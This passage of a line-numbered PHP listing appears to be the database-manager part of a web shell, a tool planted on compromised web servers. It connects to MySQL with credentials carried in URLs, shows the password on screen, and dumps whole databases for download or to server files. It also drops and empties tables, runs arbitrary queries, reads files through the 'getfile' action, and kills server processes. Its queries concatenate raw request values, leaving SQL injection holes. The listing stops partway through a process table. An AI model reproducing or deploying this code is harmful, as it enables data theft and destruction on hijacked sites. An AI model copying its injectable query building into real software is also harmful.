618 $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
619 $sqlquicklaunch[] = array("Logout",$surl."act=sql");
620 echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
621 if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
622 }
623 echo "</td></tr><tr>";
624 if (!$sql_sock) {
625 echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
626 echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
627 }
628 else {
629 //Start left panel
630 if (!empty($sql_db)) {
631 ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
632 <?php
633 $result = mysql_list_tables($sql_db);
634 if (!$result) {echo mysql_smarterror();}
635 else {
636 echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
637 $c = 0;
638 while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
639 if (!$c) {echo "No tables found in database.";}
640 }
641 }
642 else {
643 ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
644 <?php
645 $result = mysql_list_dbs($sql_sock);
646 if (!$result) {echo mysql_smarterror();}
647 else {
648 ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
649 <?php
650 $c = 0;
651 $dbs = "";
652 while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
653 echo "<option value=\"\">Databases (".$c.")</option>";
654 echo $dbs;
655 }
656 ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
657 <?php
658 }
659 //End left panel
660 echo "</td><td width=\"100%\">";
661 //Start center panel
662 $diplay = TRUE;
663 if ($sql_db) {
664 if (!is_numeric($c)) {$c = 0;}
665 if ($c == 0) {$c = "no";}
666 echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
667 if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
668 echo "</b></center>";
669 $acts = array("","dump");
670 if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
671 elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
672
673 elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
674 elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
675 elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
676 elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
677 elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
678 elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
679 elseif ($sql_tbl_act == "insert") {
680 if ($sql_tbl_insert_radio == 1) {
681 $keys = "";
682 $akeys = array_keys($sql_tbl_insert);
683 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
684 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
685 $values = "";
686 $i = 0;
687 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
688 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
689 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
690 $sql_act = "query";
691 $sql_tbl_act = "browse";
692 }
693 elseif ($sql_tbl_insert_radio == 2) {
694 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
695 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
696 $result = mysql_query($sql_query) or print(mysql_smarterror());
697 $result = mysql_fetch_array($result, MYSQL_ASSOC);
698 $sql_act = "query";
699 $sql_tbl_act = "browse";
700 }
701 }
702 if ($sql_act == "query") {
703 echo "<hr size=\"1\" noshade>";
704 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
705 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
706 if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
707 }
708 if (in_array($sql_act,$acts)) {
709 ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
710 <form action="<?php echo $surl; ?>">
711 <input type="hidden" name="act" value="sql">
712 <input type="hidden" name="sql_act" value="newtbl">
713 <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
714 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
715 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
716 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
717 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
718 <input type="text" name="sql_newtbl" size="20">
719 <input type="submit" value="Create">
720 </form></td>
721 <td width="30%" height="1"><b>Dump DB:</b>
722 <form action="<?php echo $surl; ?>">
723 <input type="hidden" name="act" value="sql">
724 <input type="hidden" name="sql_act" value="dump">
725 <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
726 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
727 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
728 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
729 <?php
730 if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
731 if ($sql_act == "newtbl") {
732 echo "<b>";
733 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
734 echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
735 }
736 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
737 }
738 elseif ($sql_act == "dump") {
739 if (empty($submit)) {
740 $diplay = FALSE;
741 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
742 echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
743 $v = join (";",$dmptbls);
744 echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
745 if ($dump_file) {$tmp = $dump_file;}
746 else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
747 echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
748 echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
749 echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
750 echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
751 echo "</form>";
752 }
753 else {
754 $diplay = TRUE;
755 $set = array();
756 $set["sock"] = $sql_sock;
757 $set["db"] = $sql_db;
758 $dump_out = "download";
759 $set["print"] = 0;
760 $set["nl2br"] = 0;
761 $set[""] = 0;
762 $set["file"] = $dump_file;
763 $set["add_drop"] = TRUE;
764 $set["onlytabs"] = array();
765 if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
766 $ret = mysql_dump($set);
767 if ($sql_dump_download) {
768 @ob_clean();
769 header("Content-type: application/octet-stream");
770 header("Content-length: ".strlen($ret));
771 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
772 echo $ret;
773 exit;
774 }
775 elseif ($sql_dump_savetofile) {
776 $fp = fopen($sql_dump_file,"w");
777 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
778 else {
779 fwrite($fp,$ret);
780 fclose($fp);
781 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
782 }
783 }
784 else {echo "<b>Dump: nothing to do!</b>";}
785 }
786 }
787 if ($diplay) {
788 if (!empty($sql_tbl)) {
789 if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
790 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
791 $count_row = mysql_fetch_array($count);
792 mysql_free_result($count);
793 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
794 $tbl_struct_fields = array();
795 while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
796 if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
797 if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
798 if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
799 if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
800 $perpage = $sql_tbl_le - $sql_tbl_ls;
801 if (!is_numeric($perpage)) {$perpage = 10;}
802 $numpages = $count_row[0]/$perpage;
803 $e = explode(" ",$sql_order);
804 if (count($e) == 2) {
805 if ($e[0] == "d") {$asc_desc = "DESC";}
806 else {$asc_desc = "ASC";}
807 $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
808 }
809 else {$v = "";}
810 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
811 $result = mysql_query($query) or print(mysql_smarterror());
812 echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
813 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a> ";
814 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a> ";
815 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
816 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> ";
817 if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
818 if ($sql_tbl_act == "insert") {
819 if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
820 if (!empty($sql_tbl_insert_radio)) { } //Not Ready
821 else {
822 echo "<br><br><b>Inserting row into table:</b><br>";
823 if (!empty($sql_tbl_insert_q)) {
824 $sql_query = "SELECT * FROM `".$sql_tbl."`";
825 $sql_query .= " WHERE".$sql_tbl_insert_q;
826 $sql_query .= " LIMIT 1;";
827 $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
828 $values = mysql_fetch_assoc($result);
829 mysql_free_result($result);
830 }
831 else {$values = array();}
832 echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
833 foreach ($tbl_struct_fields as $field) {
834 $name = $field["Field"];
835 if (empty($sql_tbl_insert_q)) {$v = "";}
836 echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
837 $i++;
838 }
839 echo "</table><br>";
840 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
841 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
842 echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
843 }
844 }
845 if ($sql_tbl_act == "browse") {
846 $sql_tbl_ls = abs($sql_tbl_ls);
847 $sql_tbl_le = abs($sql_tbl_le);
848 echo "<hr size=\"1\" noshade>";
849 echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
850 $b = 0;
851 for($i=0;$i<$numpages;$i++) {
852 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
853 echo $i;
854 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
855 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
856 else {echo " ";}
857 }
858 if ($i == 0) {echo "empty";}
859 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
860 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
861 echo "<tr>";
862 echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
863 for ($i=0;$i<mysql_num_fields($result);$i++) {
864 $v = mysql_field_name($result,$i);
865 if ($e[0] == "a") {$s = "d"; $m = "asc";}
866 else {$s = "a"; $m = "desc";}
867 echo "<td>";
868 if (empty($e[0])) {$e[0] = "a";}
869 if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
870 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
871 echo "</td>";
872 }
873 echo "<td><font color=\"green\"><b>Action</b></font></td>";
874 echo "</tr>";
875 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
876 echo "<tr>";
877 $w = "";
878 $i = 0;
879 foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
880 if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
881 echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
882 $i = 0;
883 foreach ($row as $k=>$v)
884 {
885 $v = htmlspecialchars($v);
886 if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
887 echo "<td>".$v."</td>";
888 $i++;
889 }
890 echo "<td>";
891 echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
892 echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
893 echo "</td>";
894 echo "</tr>";
895 }
896 mysql_free_result($result);
897 echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
898 echo "<option value=\"\">With selected:</option>";
899 echo "<option value=\"deleterow\">Delete</option>";
900 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
901 }
902 }
903 else {
904 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
905 if (!$result) {echo mysql_smarterror();}
906 else
907 {
908 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
909 $i = 0;
910 $tsize = $trows = 0;
911 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
912 {
913 $tsize += $row["Data_length"];
914 $trows += $row["Rows"];
915 $size = view_size($row["Data_length"]);
916 echo "<tr>";
917 echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
918 echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
919 echo "<td>".$row["Rows"]."</td>";
920 echo "<td>".$row["Type"]."</td>";
921 echo "<td>".$row["Create_time"]."</td>";
922 echo "<td>".$row["Update_time"]."</td>";
923 echo "<td>".$size."</td>";
924 echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
925 echo "</tr>";
926 $i++;
927 }
928 echo "<tr bgcolor=\"000000\">";
929 echo "<td><center><b>+</b></center></td>";
930 echo "<td><center><b>".$i." table(s)</b></center></td>";
931 echo "<td><b>".$trows."</b></td>";
932 echo "<td>".$row[1]."</td>";
933 echo "<td>".$row[10]."</td>";
934 echo "<td>".$row[11]."</td>";
935 echo "<td><b>".view_size($tsize)."</b></td>";
936 echo "<td></td>";
937 echo "</tr>";
938 echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
939 echo "<option value=\"\">With selected:</option>";
940 echo "<option value=\"tbldrop\">Drop</option>";
941 echo "<option value=\"tblempty\">Empty</option>";
942 echo "<option value=\"tbldump\">Dump</option>";
943 echo "<option value=\"tblcheck\">Check table</option>";
944 echo "<option value=\"tbloptimize\">Optimize table</option>";
945 echo "<option value=\"tblrepair\">Repair table</option>";
946 echo "<option value=\"tblanalyze\">Analyze table</option>";
947 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
948 mysql_free_result($result);
949 }
950 }
951 }
952 }
953 }
954 else {
955 $acts = array("","newdb","serverstatus","servervars","processes","getfile");
956 if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
957 if (!empty($sql_act)) {
958 echo "<hr size=\"1\" noshade>";
959 if ($sql_act == "newdb") {
960 echo "<b>";
961 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
962 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
963 }
964 if ($sql_act == "serverstatus") {
965 $result = mysql_query("SHOW STATUS", $sql_sock);
966 echo "<center><b>Server-status variables:</b><br><br>";
967 echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
968 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
969 echo "</table></center>";
970 mysql_free_result($result);
971 }
972 if ($sql_act == "servervars") {
973 $result = mysql_query("SHOW VARIABLES", $sql_sock);
974 echo "<center><b>Server variables:</b><br><br>";
975 echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
976 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
977 echo "</table>";
978 mysql_free_result($result);
979 }
980 if ($sql_act == "processes") {
981 if (!empty($kill)) {
982 $query = "KILL ".$kill.";";
983 $result = mysql_query($query, $sql_sock);
984 echo "<b>Process #".$kill." was killed.</b>";
985 }
986 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
987 echo "<center><b>Processes:</b><br><br>";
988 echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
